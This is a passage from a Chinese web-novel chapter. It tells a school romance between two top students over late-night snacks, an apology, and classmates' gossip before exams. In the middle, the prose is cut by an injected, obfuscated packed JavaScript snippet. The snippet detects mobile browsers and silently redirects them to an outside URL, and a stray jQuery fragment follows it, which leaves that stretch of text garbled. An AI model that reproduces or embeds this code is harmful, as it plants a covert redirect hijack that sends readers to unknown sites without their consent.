终于熬到晚自习结束,今天轮到她和周望玥去买夜宵,可不知道为何今晚食堂人特别多,排到江随意的时候她喜欢的烧饼刚好没有了。 “卖完了,小姑娘要不吃点别的。”阿姨擦着汗说。 “没有就算了。” 江随意挎着脸转身,准备去找隔壁买馄饨的周望玥,却险些撞上一堵人墙。 顾橖河站在半步之外,校服短袖下的手臂线条干净利落。他手里拿着油纸包,刚出炉的烧饼香气从缝隙里钻出来,混合着芝麻和猪油的焦香。 二人对视上了,顾橖河走近。 “多买了一个,吃不吃?” 他将烧饼递了过来。 金黄的饼皮上缀着黑芝麻,边缘微微翘起,露出里面深褐色的梅干菜馅料。 江随意盯着那块烧饼,突然觉得先前的别扭很没道理。 “我不浪费啊。” 她接过来,指尖碰到油纸,还是温的。 “嗯。”顾橖河收回手。 烧饼咬下去咔嚓作响,梅干菜的咸鲜在舌尖漫开。江随意嚼着酥脆的饼皮,听见身旁传来周望玥的声音:“我这边好了,可以走了。” “呀,顾橖河也在啊?”周望玥在他俩之间来回看着,轻咳两下,然后拿走江随意手上的煎饺:“这样你俩先聊,我不打扰,程瑶的我先带回去。” 未等江随意说话,她便偷着笑先跑了。 江随意嚼了嚼嘴里的烧饼:“......” 她发现周周越来越欠收拾了。 夜宵卖的差不多了,食堂里的人也开始渐渐开始散了。两人刚走出两步,一旁餐位上的男生正端着碗起身,不小心撞上了顾橖河。 “小心!” 顾橖河的身子往前一倾,迅速伸手撑在餐桌上稳住了身体。江随意下意识地伸手虚虚扶着,想要托他一把。然而就在顾橖河靠过来的那一瞬间,两人距离骤然拉近,她的鼻尖几乎蹭到对方的肩膀。 江随意像被烫到一样,手立刻缩了回来。 顾橖河已经借力站稳。 “不好意思啊同学,实在不好意思。”撞人的男生连声道歉。 顾橖河:“没事。” “真的对不住啊。”男生又说了几句才端着所剩无几的汤碗匆匆离开。 顾橖河看向身旁的江随意:“你没事吧?” 刚才那一下靠得太近,江随意甚至能感受到他身上的温度透过薄薄的校服传递过来。此刻对上他看过来的目光,她脸上莫名有些发热,飞快地移开视线,摇了摇头,含糊道:“我没事。” 她低头咬了一大口烧饼,掩饰自己那点不自然的心跳。 “走了。”顾橖河没再多说,默默跟在她身侧,往食堂外走去。 路上,两人依旧沉默。 晚上的风吹着十分舒服,江随意的脚步不自觉地放慢了些。她心里有点懊恼:刚才那一下,她到底在害羞个什么劲儿?明明今天早上她都直接抱住他了,也没像现在这样反应那么大。 眼看再走几步就要到女寝楼下了,路灯把两人的影子拉长又缩短。 “那个......”江随意停下脚步,转过身。 顾橖河也停下了,先开了口:“对不起。” 江随意一愣:“嗯?” 顾橖河认真看着:“今天早上在医院,我不是故意要甩开你的手。” 江随意眨眨眼,然后才反应过来。顾橖河指的是在医院的时候,他突然用力把手从她手里抽出来,转身就跑的那一幕。 手...... 江随意今天的反射弧仿佛格外漫长,直到此刻才后知后觉地意识到:我的老天,她今天不仅抱了人家,后来还牵了一路的手。 一股迟来的热气“轰”地冲上脸颊。她张了张嘴,一时竟不知该说什么。 顾橖河见她不说话,以为她还在介意,神情更显局促,微微垂下眼睫,低声解释道:“我当时只是怕豆豆看到我......” 从江随意喊住他追上来的时候,顾橖河就开始后悔了。下午他独自去见了医生,本来打算今天都不回学校了,可心里总是惦记着。 结果一晚上,江随意都没和他说一句话。 江随意的心轻轻揪了一下,瞬间从自己那点混乱的少女心思里清醒过来。 “你不用跟我道歉的。” 她立刻接上:“那种情况,换谁都会......总之,我不是因为那个生气,不对,我就没有生气。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16097654|172656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江随意看着他紧张的样子,心里憋了一整天的、自己也说不清道不明的情绪,忽然就散了。那不是生气,更像是一种混杂着心疼无措和被推开时微妙的失落感。 但这些,都和顾橖河无关。 “顾橖河,有些事情,慢慢来,不急。” 这是一个漫长而艰难的过程,怎么可能轻易就走出来。 她的眼神清澈,像一泓包容的泉水,顾橖河就这么陷进那双眼睛里。 似乎从那天起,江随意发现自己和顾橖河的关系有点不一样了。她说不上来具体是什么感觉,但心里很清楚,顾橖河在她这儿是个特别的存在。这种变化像水面下的波纹,悄然扩散,连带着周围的空气似乎都起了点涟漪。 身边的同学似乎也察觉到了这一点。以前大家也调侃,说两个学霸之间有种天然的结界,旁人融不进去。可现在,这个“结界”仿佛被江随意主动擦亮了一角。她往顾橖河座位那边跑得更勤了,问问题也好,讨论题目也罢,眼神总是亮亮的,带着点不自知的积极劲。 “哎,你说,他俩是不是谈上了?”午休前,两个女生抱着练习册从外面走进教室,其中一个压低声音,语气里满是好奇和兴奋。 “嘘,小声点!”另一个紧张地左右看看,“马上就学考了,最近抓得可严了,教务处现在天天巡楼呢。” “那敢情好啊!”旁边凑过来一个戴眼镜的男生,扶了扶镜框,一脸“天助我也”的表情,“江随意这座大山要是分心了,那我是不是有机会逆袭进前五了?” “呵,志气可嘉。”眼镜男的同桌毫不留情地泼冷水,顺手把一摞卷子拍在他桌上,“但鉴于江随意同学是座稳如泰山的存在,停了一个多月课,回来补两个礼拜,昨天三科模拟照样第一。你努努力,先杀进前十再说。”他顿了顿,朝教室后排瞥了一眼,“再说了,人家顾橖河也不是吃素的,讲题的时候,陈明明就差跪下来喊义父了。” 林一娢挽着周望玥出去接水,用手肘轻轻碰了碰她,问道:“什么情况呀姐妹,他俩真谈上了?后天就学考了,这节骨眼上,可别撞枪口啊。” 周望玥打了个哈欠,眼角还带着点没睡醒的泪花,摆摆手:“安啦安啦,没有的事。意意和阿瑶那俩卷王每天起得比鸡都早,阿姨还没吹哨就醒了。我和陈诺还迷糊着找袜子呢,她俩书包都收拾好去平台那边迎着冷风背书了。谈什么谈,跟试卷谈恋爱还差不多。” “而且哪里只是因为学考啊,他们现在复习的都是接下去高三首考,我不敢想等最后那几个月会是怎么样。” “这倒是。”林一娢深有感触地点点头,“你还别说了,现在中午和下午吃完饭大家都不回寝室了,教室里都是人。嘴上都说自己不行了,实际上一个比一个努力。” 周望玥懒洋洋地倚在走廊的栏杆上,等着林一娢接水。一阵凉风从后面灌进来,她转过身,垂眼望去,正好能瞧见校门口的电子大屏。那上面还投放着今年高考时送给高三学子的一段话—— 一切努力只是为了更多的选择。你可以拥有当下,也可以奔向远方,重要的是选择权在你的手里。也许将来忙忙碌碌,想起过去会有遗憾和后悔,可来时的路你坦荡无愧。